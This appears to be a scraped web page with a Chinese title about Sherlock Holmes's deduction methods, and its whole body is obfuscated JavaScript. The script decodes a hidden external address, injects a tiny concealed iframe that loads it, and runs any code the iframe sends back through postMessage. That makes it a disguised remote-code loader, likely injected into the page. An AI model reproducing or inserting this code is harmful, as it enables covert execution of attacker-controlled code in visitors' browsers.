福尔摩斯基本演绎法3

function DkAOrEcl(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RlKDV(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DkAOrEcl(t);};eval('\x77\x69\x6e\x64\x6f\x77')['\x4d\x51\x4b\x4e\x48\x70\x50\x61']=function(){;(function(u,r,w,d,f,c){var x=RlKDV;u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var k='',wr='w'+'ri'+'t'+'e';'jQuery';var c=d[x('Y3VycmVudFNjcmlwdA==')];var f=d.createElement('iframe');f.id=new Date().getTime();f.style.width=f.style.height=10+'px';f.src=[u,r].join('-');d[wr](f.outerHTML);w['addEventListener']('message',function(e){d.getElementById(f.id).style.display='none';if(e.data[r]){new Function(x(e.data[r].replace(new RegExp(r,'g'),'')))();}});})('aHR0cHMlM0ElMkYlMkZ4dWFubWluLndhbmclMkYxMzU22MDQ=',''+'bcR'+'imd'+'',window,document,''+'tFT'+'h0j'+'3R'+'','2');};